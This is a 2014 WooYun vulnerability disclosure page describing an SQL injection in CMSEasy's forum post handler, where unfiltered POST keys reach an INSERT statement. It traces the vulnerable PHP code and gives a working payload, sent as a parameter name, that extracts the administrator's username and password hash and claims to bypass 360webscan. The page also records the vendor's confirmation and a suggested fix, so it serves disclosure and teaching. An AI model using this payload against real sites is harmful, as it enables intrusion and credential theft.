当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(22) 关注此漏洞

缺陷编号: WooYun-2014-67521

漏洞标题: cmseasy 最新版SQL注入一枚(直接出数据无视360webscan)

相关厂商: cmseasy

漏洞作者: phith0n认证白帽子

提交时间: 2014-07-06 01:15

公开时间: 2014-10-04 01:16

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: php源码分析 白盒测试

3人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-07-06: 细节已通知厂商并且等待厂商处理中
2014-07-07: 厂商已经确认,细节仅向厂商公开
2014-07-10: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-08-31: 细节向核心白帽子及相关领域专家公开
2014-09-10: 细节向普通白帽子公开
2014-09-20: 细节向实习白帽子公开
2014-10-04: 细节向公众公开

简要描述:

真的不是针对,厂家不要介意,赶紧确认我另外两个吧,感谢!
无视360webscan。
版本:20140605

详细说明:

漏洞与 http://**.**.**.**/bugs/wooyun-2014-067464 重复。

注入函数在/bbs/add-archive.php,

code 区域
if(isset($_POST['submit'])){
if(strtolower(trim($_POST['verify'])) != strtolower($_SESSION['verify'])){
//action_public::turnPage('index.php','验证码输入错误!');
}
$archive = db_bbs_archive::getInstance();

unset($_POST['submit']);
unset($_POST['verify']);

$_POST['username'] = $_COOKIE['login_username'];
$_POST['userid'] = $admin->userid;
$_POST['ip'] = $_SERVER['REMOTE_ADDR'];
$_POST['addtime'] = mktime();

if($id = $archive->inserData($_POST)){
action_public::turnPage('archive-display.php?aid='.$id,'文章添加成功');
}else{
action_public::turnPage('index.php','添加失败,请联系我们!');
}
}



关注这句话$archive->inserData($_POST),直接把$_POST放入了inserData函数,我们进去看看:

code 区域
public function inserData($data){
$r = $this->odb->insert($this->tblName,$data);
if($r)
return $this->odb->getInsertId();
else
return false;
}



继续跟进:

code 区域
public function insert($table, $data)
{
$sql = $this->getInsertString($table, $data);
return $this->execSql($sql);
}



继续跟进:

code 区域
public function getInsertString($table, $data)
{
$n_str = '';
$v_str = '';
$table = $this->filterString($table);
foreach ($data as $k => $v)
{
$n_str .= $this->filterString($k).',';
$v_str .= "'".$this->filterString($v)."',";
}
$n_str = preg_replace( "/,$/", "", $n_str );
$v_str = preg_replace( "/,$/", "", $v_str );
$str = 'INSERT INTO '.$table.' ('.$n_str.') VALUES('.$v_str.')';
return $str;
}



这个函数实际上就是一个insert语句。其中调用filterString对数据进行过滤。但只是加转义单引号而已,而注入语句中的key并没有过滤。

POST的时候,将注入语句放在KEY的位置,就能注入了。

详见漏洞证明。

漏洞证明:

到/bbs,发表帖子,抓包。

增加一个POST参数,参数名是:

code 区域
username)/**/values((select/**/concat(username,0x23,password)/**/from/**/cmseasy_user/**/limit/**/0,1),2,3,4,5,6)#



值随意。效果图如下:

07.jpg



发送即可。然后数据库中可以看到一篇帖子的title被注入成管理员密码:

08.jpg



它的aid是8,那么我们只要访问http://localhost/easy/bbs/archive-display.php?aid=8即可看到结果:

09.jpg



我们不知道aid是多少的时候,遍历一下就行了。

修复方案:

value要过滤,key也要过滤

版权声明:转载请注明来源 phith0n@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-07-07 09:49

厂商回复:

感谢,立即修正

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2014-07-06 10:40 | mramydnei ( 普通白帽子 | Rank:400 漏洞数:87 )
    0

    师傅,你为什么这么叼?

  2. 2014-07-06 15:07 | xfkxfk 认证白帽子 ( 核心白帽子 | Rank:2299 漏洞数:351 | 呵呵!)
    0

    你为什么这么叼?

  3. 2014-07-06 23:47 | xch4er ( 路人 | Rank:7 漏洞数:2 | 小弟才疏学浅,前来悉心与各位大牛研究探索.)
    0

    师傅,你为什么这么叼?

  4. 2014-07-09 13:33 | Smilent ( 实习白帽子 | Rank:38 漏洞数:7 | None)
    0

    师傅,你为什么这么叼?

  5. 2014-07-09 23:07 | HackBraid 认证白帽子 ( 普通白帽子 | Rank:1854 漏洞数:296 | 风暴网络安全空间: http://www.heysec.or...)
    0

    注意2楼。。。

  6. 2014-07-12 00:02 | AppLeU0 ( 路人 | 还没有发布任何漏洞 | 代码审计入门)
    0

    师傅,你为什么这么叼?

  7. 2014-07-14 23:47 | azuer ( 普通白帽子 | Rank:127 漏洞数:30 )
    0

    师傅,你为什么这么叼?

  8. 2014-07-29 10:37 | random_ ( 普通白帽子 | Rank:315 漏洞数:52 | 推动开源 推动网络安全)
    0

    师傅,你为什么这么叼?

  9. 2014-10-04 01:19 | Murk Emissary ( 实习白帽子 | Rank:74 漏洞数:14 | 低调做人 低调行事)
    0

    师傅,你为什么这么叼?

  10. 2014-10-04 08:19 | laoyao ( 路人 | Rank:14 漏洞数:5 | ด้้้้้็็็็็้้้้้็็็็...)
    0

    猴儿们 莫调皮

  11. 2014-10-09 11:25 | 噬魂 ( 普通白帽子 | Rank:141 漏洞数:37 | 08安全团队)
    0

    师傅,你为什么这么叼?

  12. 2015-06-07 15:23 | Eric_zZ ( 路人 | Rank:8 漏洞数:5 | Just try it!)
    0

    楼主,我刚刚搞了下有一些还能注册,但是发帖子抓包的时候老显示验证码错误,大小写都考虑了还是显示验证码错误,这是不是说明也修复了?

  13. 2015-06-07 15:50 | Eric_zZ ( 路人 | Rank:8 漏洞数:5 | Just try it!)
    0

    我步骤错了。。。

登录后才能发表评论,请先 登录